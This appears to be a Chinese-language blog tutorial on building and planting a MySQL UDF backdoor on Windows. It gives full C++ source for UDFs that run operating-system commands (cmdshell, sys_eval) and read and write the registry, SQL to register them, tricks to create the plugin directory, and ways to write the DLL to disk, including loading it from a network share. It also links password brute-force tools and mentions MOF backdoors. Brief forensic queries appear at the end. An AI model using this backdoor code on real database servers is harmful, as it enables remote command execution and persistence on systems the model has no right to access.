【API】Mysql UDF BackDoor

一、MySQL UDF是什麼

UDF是Mysql提供給用戶實現本身功能的一個接口,爲了使UDF機制起做用,函數必須用C或C ++編寫,而且操做系統必須支持動態加載。這篇文章主要介紹UDF開發和利用的方法。php

二、UDF開發

操做系統:Windows 10html

測試環境:PHPStudy+Mysql 5.5(x64)python

編譯器:VS2015mysql

2.1 編譯器方法

  • MySQL源碼包

從MySQL官網下載對應版本的源碼包,把MySQL對應版本的源碼下載回來。將include文件夾和lib文件夾解壓至C++項目路徑。c++

http://mirror.yandex.ru/mirrors/ftp.mysql.com/Downloads/MySQL-5.5/mysql-5.5.59-winx64.zipgit

  • VS2015配置-項目屬性github

    將MySQL的include、lib文件夾放到C++項目路徑後。屬性配置以下:sql

    • include:VC++目錄->包含目錄->添加include目錄
    • lib:VC++目錄->庫目錄->添加lib目錄
    • libmysql.lib:連接器->附加依賴項->添加libmysql.lib

2.2 調試方法

UDF在程序代碼中加入調試OutputDebugStringA();就能夠輸出調試的信息了。在每一個分支都輸出相對應的調試信息,就能夠獲取當前運行的狀態。shell

OutputDebugStringA("--UDF:my_name()被調用");

2.3 使用UDF擴展

// 註冊函數
CREATE FUNCTION about RETURNS string SONAME "mysql_udf_c++.dll";
// 卸載函數
Drop function about;
// 使用函數
select about();
// 驗證
select * from mysql.func where name = 'cmdshell';

2.4 CPP源碼思路

  • 執行CMDSHELL 使用方式:
# 建立cmdshell函數
CREATE FUNCTION cmdshell RETURNS int SONAME "mysql_udf_c++.dll";
# 執行shell函數,若是不加路徑默認路徑在mysql的data目錄下。例如:"D:\phpStudy\MySQL\data\helllo.txt"
select cmdshell("echo hello>>helllo.txt");
# 註銷cmshell這個函數
Drop function cmdshell;

CPP源碼以下:ubuntu

#include <winsock.h>
#include <mysql.h>  
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>


//--------cmdshell
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, 
	UDF_ARGS *args, 
	char *message)
{   //參數長度 
	unsigned int i = 0;
	if (args->arg_count == 1
		&& args->arg_type[i] == STRING_RESULT) {
		// 返回正常
		return 0;
	}
	else {
		strcpy(
			message
			, "Expected exactly one string type parameter"
			);
		//執行失敗	
		return 1;
	}
}
extern "C" __declspec(dllexport)my_ulonglong cmdshell(UDF_INIT *initid,
	UDF_ARGS *args, 
	char *result, 
	char *error)
{
    // 利用sysytem函數執行命令
	// 執行「net user >> hello.txt」命令,實際路徑爲D:\phpStudy\MySQL\data\hello.txt
	// 執行數字例如:select cmdshell("1");就會致使MySQL結束服務。
	return system(args->args[0]);

}
extern "C" __declspec(dllexport)void cmdshell_deinit(
	UDF_INIT *initid)
{

	if (initid->ptr)
	{
		free(initid->ptr);
	}
}
  • 回顯shell

回顯shell編寫嘗試,跟沒有回顯的shell執行命令是同樣的原理。 核心原理是建立一個管道,把命令結果輸入管道讀取出來後關閉管道。

使用方式:

# 建立sys_eval函數
CREATE FUNCTION sys_eval RETURNS string SONAME "mysql_udf_c++.dll";
# 執行shell函數,若是不加路徑默認路徑在mysql的data目錄下。例如:"D:\phpStudy\MySQL\data\helllo.txt"
select sys_eval("echo hello>>helllo.txt");
# 註銷cmshell這個函數
Drop function sys_eval;

CPP源碼以下:

#include <winsock.h>
#include <mysql.h>  


#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>


//--------
extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid, 
	UDF_ARGS *args, 
	char *message)
{   //參數長度
	unsigned int i = 0;
	if (args->arg_count == 1
		&& args->arg_type[i] == STRING_RESULT) {
		return 0;
	}
	else {
		strcpy(
			message
			, "Expected exactly one string type parameter"
			);
		return 1;
	}
}
extern "C" __declspec(dllexport)char*  sys_eval(UDF_INIT *initid
	, UDF_ARGS *args
	, char* result
	, unsigned long* length
	, char *is_null
	, char *error)
{
	FILE *pipe;
	char buff[1024];
	unsigned long outlen, linelen;

    // 開闢內存
	result = (char*)malloc(sizeof(char));
	outlen = 0;
    // 建立管道
	pipe = _popen(args->args[0], "r");
    // 讀取管道數據
	while (fgets(buff, sizeof(buff), pipe) != NULL) {
		linelen = strlen(buff);
		result = (char*)realloc(result, outlen + linelen);
		// 把管道內容拷貝進返回結果裏
		strncpy(result + outlen, buff, linelen);
		outlen = outlen + linelen;
	}
    // 關閉管道
	_pclose(pipe);
	
    // 當*is_null被設置爲1時,返回值爲NULL
	if (!(*result) || result == NULL) {
		*is_null = 1;
	}
	else {
		result[outlen] = 0x00;
		*length = strlen(result);
	}
    // 返回結果
	return result;

}
extern "C" __declspec(dllexport)void sys_eval_deinit(
	UDF_INIT *initid)
{

	if (initid->ptr)
	{
		free(initid->ptr);
	}
}
  • 註冊表操做

核心代碼主要是如下幾個註冊表操做相關的API實現的

RegQueryInfoKey
RegEnumValue
RegQueryValueEx
RegCloseKey
RegCreateKeyEx
RegSetValueEx
RegCloseKey
    • 註冊表讀取

使用方式:

# 建立regread函數
CREATE FUNCTION regread RETURNS string SONAME "mysql_udf_c++.dll";
# 執行regread函數
select regread("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","Start Page");
# 註銷regread這個函數
Drop function regread;

CPP源碼以下:

#include <winsock.h>
#include <mysql.h>  

#include <stdio.h>
#include <windows.h> 


#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383

//--------
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid,
	UDF_ARGS *args,
	char *message)
{  

	//判斷參數是否正確,三個參數必須是字符串
	if (args->arg_type[0] == STRING_RESULT &&  // 主鍵
		args->arg_type[1] == STRING_RESULT &&  // 鍵項
		args->arg_type[2] == STRING_RESULT     // 鍵值
		)
	{
		return 0;
	}
	else {
		strcpy(
			message
			, "Expected exactly Three string type parameter"
			);
		return 1;
	}
}
extern "C" __declspec(dllexport)char*  regread(UDF_INIT *initid
	, UDF_ARGS *args
	, char* result
	, unsigned long* length
	, char *is_null
	, char *error)
{
	HKEY hRoot;
	// 判斷根鍵
	if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
		hRoot = HKEY_LOCAL_MACHINE;
	else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
		hRoot = HKEY_CLASSES_ROOT;
	else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
		hRoot = HKEY_CURRENT_USER;
	else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
		hRoot = HKEY_USERS;
	else
	{
		initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
		sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]);
		*length = strlen(initid->ptr);
		return initid->ptr;
	}
	

	// 判斷根鍵存不存在
	// 編碼轉換 char轉wchar
	int len = MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
	wchar_t*    m_wchar = new wchar_t[len + 1];
	MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), m_wchar, len);
	m_wchar[len] = '\0';
	HKEY aTestKey = NULL;
	DWORD dwType = REG_SZ;
	if (RegOpenKeyEx(hRoot,
		m_wchar,
		0,
		KEY_READ,
		&aTestKey) != ERROR_SUCCESS
		)
	{
		initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
		sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]);
		*length = strlen(initid->ptr);
		return initid->ptr;
	}	



	// 查詢鍵項目
	TCHAR    achClass[MAX_PATH] = TEXT("");  // 指定一個字串,用於裝載這個註冊表項的類名 
	DWORD    cchClassName = MAX_PATH;        // 指定一個變量,用於裝載lpClass緩衝區的長度。一旦返回,它會設爲實際裝載到緩衝區的字節數量 
	DWORD    cSubKeys = 0;                   // 子鍵的數目 
	DWORD    cbMaxSubKey;                    // 設置最大子鍵長度 
	DWORD    cchMaxClass;                    // 指定一個變量,用於裝載這個項之子項的最長一個類名的長度 
	DWORD    cValues;                        // 用於裝載這個項的設置值數量的一個變量
	DWORD    cchMaxValue;                    // value的最長名字
	DWORD    cbMaxValueData;                 // value的最長數據
	DWORD    cbSecurityDescriptor;           // 安全描述符的大小 
	FILETIME ftLastWriteTime;                // 上次寫入的時間 

	DWORD i, retCode;
	DWORD dwSize;
	TCHAR *wStr = new TCHAR[MAX_VALUE_NAME];
	TCHAR  achValue[MAX_VALUE_NAME];
	TCHAR  data[MAX_VALUE_NAME];
	DWORD cchValue = MAX_VALUE_NAME;
	DWORD dBufSize;   //返回結果長度

	// Get the class name and the value count. 
	retCode = RegQueryInfoKey(
		aTestKey,                // 主鍵句柄 
		achClass,                // 指定一個字串,用於裝載這個註冊表項的類名
		&cchClassName,           // 指定一個變量,用於裝載lpClass緩衝區的長度。一旦返回,它會設爲實際裝載到緩衝區的字節數量
		NULL,                    // reserved 
		&cSubKeys,               // 用於裝載(保存)這個項的子項數量的一個變量
		&cbMaxSubKey,            // 指定一個變量,用於裝載這個項最長一個子項的長度。注意這個長度不包括空停止字符
		&cchMaxClass,            // 指定一個變量,用於裝載這個項之子項的最長一個類名的長度
		&cValues,                // 用於裝載這個項的設置值數量的一個變量
		&cchMaxValue,            // 指定一個變量,用於裝載這個項之子項的最長一個值名的長度
		&cbMaxValueData,         // 指定一個變量,用於裝載容下這個項最長一個值數據所需的緩衝區長度
		&cbSecurityDescriptor,   // 裝載值安全描述符長度的一個變量 
		&ftLastWriteTime);       // 指定一個結構,用於容納該項的上一次修改時間 
	
	// 枚舉鍵值. 
	// 匹配出對應的值
	if (cValues)
	{
		for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
		{
			cchValue = MAX_VALUE_NAME;
			dwSize = MAX_VALUE_NAME;
			achValue[0] = '\0';
			data[0] = '\0';
			retCode = RegEnumValue(aTestKey, i,
				wStr,
				&cchValue,
				NULL,
				NULL,
				NULL,
				NULL);
			RegQueryValueEx(aTestKey, wStr,
				NULL,
				&dwType,
				(LPBYTE)data,
				&dwSize);

			
			// 編碼轉換 char轉wchar
			int len = MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), NULL, 0);
			wchar_t*    m_wchar = new wchar_t[len + 1];
			MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), m_wchar, len);
			m_wchar[len] = '\0';


			if (retCode == ERROR_SUCCESS && wcscmp(wStr, m_wchar) == 0)
			{
				//printf("\n鍵名:%ls\n鍵值:%ls", wStr, data);
				
				//獲取轉換所需的目標緩存大小
				dBufSize = WideCharToMultiByte(CP_OEMCP, 0, data, -1, NULL, 0, NULL, FALSE);
				 
				//分配目標緩存
				result = new char[dBufSize];
				memset(result, 0, dBufSize);
				//轉換
				int nRet = WideCharToMultiByte(CP_OEMCP, 0, data, -1, result, dBufSize, NULL, FALSE);
				
			}
		}
	}
	delete[]wStr;
	RegCloseKey(aTestKey);



	// 當*is_null被設置爲1時,返回值爲NULL
	if (!(*result) || result == NULL) {
		*is_null = 1;
	}
	else {
		result[dBufSize] = 0x00;
		*length = strlen(result);
	}
	// 返回結果
	return result;
}
extern "C" __declspec(dllexport)void regread_deinit(
	UDF_INIT *initid)
{

	if (initid->ptr)
	{
		free(initid->ptr);
	}
}
    • 註冊表寫入 使用方式:
# 建立regread函數
CREATE FUNCTION regwrite RETURNS string SONAME "mysql_udf_c++.dll";
# 執行regread函數
select regwrite("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","test","www.baidu.com");
# 註銷regread這個函數
Drop function regwrite;

CPP源碼以下:

#include <winsock.h>
#include <mysql.h>  

#include <stdio.h>
#include <windows.h> 

//--------
extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid,
	UDF_ARGS *args,
	char *message)
{  

	//判斷參數是否正確,三個參數必須是字符串
	if (args->arg_type[0] == STRING_RESULT &&  // 主鍵
		args->arg_type[1] == STRING_RESULT &&  // 鍵項
		args->arg_type[2] == STRING_RESULT &&  // 鍵
		args->arg_type[3] == STRING_RESULT     // 寫入的值
		)
	{
		return 0;
	}
	else {
		strcpy(
			message
			, "Expected exactly four string type parameter"
			);
		return 1;
	}
}
extern "C" __declspec(dllexport)char*  regwrite(UDF_INIT *initid
	, UDF_ARGS *args
	, char* result
	, unsigned long* length
	, char *is_null
	, char *error)
{


	
	HKEY hRoot;
	// 判斷根鍵
	if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
		hRoot = HKEY_LOCAL_MACHINE;
	else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
		hRoot = HKEY_CLASSES_ROOT;
	else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
		hRoot = HKEY_CURRENT_USER;
	else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
		hRoot = HKEY_USERS;
	else
	{
		initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
		sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]);
		*length = (unsigned long)strlen(initid->ptr);
		return initid->ptr;
	}

	HKEY hKey;
	DWORD dwType = REG_SZ;
	// 打開註冊表鍵,不存在則建立它

	// 判斷根鍵存不存在
	// szSubKey編碼轉換 char轉wchar
	int szSubKey_len = (int)MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
	wchar_t*    szSubKey = new wchar_t[szSubKey_len + 1];
	MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), szSubKey, szSubKey_len);
	szSubKey[szSubKey_len] = '\0';

	size_t lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (lRet != ERROR_SUCCESS)
	{
		initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
		sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]);
		*length = (unsigned long)strlen(initid->ptr);
		return initid->ptr;
	}

	// 修改註冊表鍵值,沒有則建立它
	// ValueName修改的鍵項轉換 char轉wchar
	int ValueName_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), NULL, 0);
	wchar_t*   ValueName = new wchar_t[ValueName_len + 1];
	MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), ValueName, ValueName_len);
	ValueName[ValueName_len] = '\0';

	//// 註冊表鍵值編碼轉換 char轉wchar
	int data_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), NULL, 0);
	wchar_t*  data = new wchar_t[data_len + 1];
	MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), data, data_len);
	data[data_len] = '\0';
	// 計算寬字節的長度
	DWORD iLen = (DWORD)wcslen(data);

	//註冊表鍵值修改
	lRet = RegSetValueEx(hKey, ValueName, 0, dwType, (unsigned char*)data, sizeof(wchar_t)*data_len);
	if (lRet != ERROR_SUCCESS)
	{
		initid->ptr = (char *)malloc(50 + strlen((args->args)[2]));
		sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[2]);
		*length = (unsigned long)strlen(initid->ptr);
		return initid->ptr;
	}
	RegCloseKey(hKey);


	// 當*is_null被設置爲1時,返回值爲NULL
	if (!(*result) || result == NULL) {
		*is_null = 1;

	}
	else {
		sprintf(result, "success");
		result[iLen] = 0x00;
		*length = strlen(result);
	}
	// 返回結果
	return result;
}
extern "C" __declspec(dllexport)void regwrite_deinit(
	UDF_INIT *initid)
{

	if (initid->ptr)
	{
		free(initid->ptr);
	}
}

三、UDF加載方法

UDF有兩種加載方式,一種是修改修改MySQL配置文件。第二種則是將UDF放置在MySQL指定的插件目錄中加載。

3.1 修改MySQL配置文件

另外一種方法是用插件目錄編寫一個新的MySQL配置文件並將其傳遞給mysqld。

  • 啓動參數配置
// 經過mysqld更改plugin的目錄位置
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
// 編寫一個新的mysql配置文件,並經過–defaults-file參數將其傳遞給mysqld
mysqld.exe --defaults-file=C:\temp\my.ini
  • my.ini配置
[mysqld]
plugin_dir = C:\\temp\\plugins\\

3.2 新建插件目錄

show variables like 'plugin_dir';   # 查看路徑

select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib::$INDEX_ALLOCATION';          # 新建目錄lib

select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION';  # 新建目錄plugin

3.3 導出UDF文件置擴展目錄

  • load_file函數

    • load_file函數支持網絡路徑,若是將DLL複製到網絡共享中,則能夠直接加載它並寫入磁盤。
select load_file('\\\\192.168.0.19\\share\\udf.dll') into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
  • 用一個十六進制編碼的字符串將整個DLL文件寫入磁盤。
// 轉換爲hex函數
select hex(load_file('D:\\udf.dll')) into dumpfile "D:\\udf.hex";
// 導入
select 0x4d5a...... into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
  • 建立一個表並將二進制數據插入到十六進制編碼流中,其中的二進制數據用update語句來鏈接。
create table temp(data longblob); 
insert into temp(data) values (0x4d5a9....); 
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
  • 直接在磁盤上將文件從網絡共享加載到第三種方法建立的表中,使用「load data infile」語句在本地加載。像上圖所示將文件轉換爲十六進制,並在寫入磁盤時取消編輯。
load data infile '\\\\192.168.0.19\\share\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); 
select unhex(data) from temp into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';
  • 使用MySQL 5.6.1和MariaDB 10.0.5中介紹的函數「to_base64」和「from_base64」上傳二進制文件。
# 轉換爲base64
select to_base64(load_file('D:\\udf.dll'));

# base64導出爲DLL
select from_base64("Base64編碼") into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";

四、Mysql弱口令

4.1 暴力破解程序

  • 工具:hydra

  • CPP

用鏈表實現的MYSQL、MSSQL和oracle密碼暴破C程序

http://blog.51cto.com/foxhack/35604

  • Python

https://github.com/chinasun021/pwd_crack/blob/master/mysql/mysql_crack.py

https://www.waitalone.cn/python-mysql-mult.html

  • Go

https://github.com/netxfly/x-crack

4.2 MySQL口令加密解密

五、WEB組合利用

5.1 後門方法

導出Mof

5.2 WEB滲透測試擴展

php探針、PHPMyadmin

六、取證分析

// 查看系統信息
select @@version_compile_os,@@version_compile_machine,@@plugin_dir;

// 查看加載的函數
select * from mysql.func;

七、參考

Mysql函數擴展之UDF開發

https://blog.csdn.net/albertsh/article/details/78567661

VS2015配置C/C++-MySQL開發環境

https://blog.csdn.net/daso_csdn/article/details/54646859

MySQL UDF(自定義函數)

https://www.cnblogs.com/raker/p/4377343.html

MySQL UDF的調試方式 - debugview https://blog.csdn.net/swotcoder/article/details/18527

詳詳詳解MySQL UDF執行命令

http://www.360doc.cn/article/31784658_733287732.html

利用MySQL UDF進行的一次滲透測試 https://m.sohu.com/a/224950139_354899/?pvid=000115_3w_a

24.4.2.2 UDF Calling Sequences for Aggregate Functions

https://dev.mysql.com/doc/refman/5.5/en/udf-aggr-calling.html

windows下編寫mysql UDF函數的失敗經歷,與ubuntu下的成功編譯經歷

https://blog.csdn.net/watch_ch/article/details/54015948

開源項目

https://github.com/mysqludf/lib_mysqludf_sys

八、最終效果圖

相關文章
相關標籤/搜索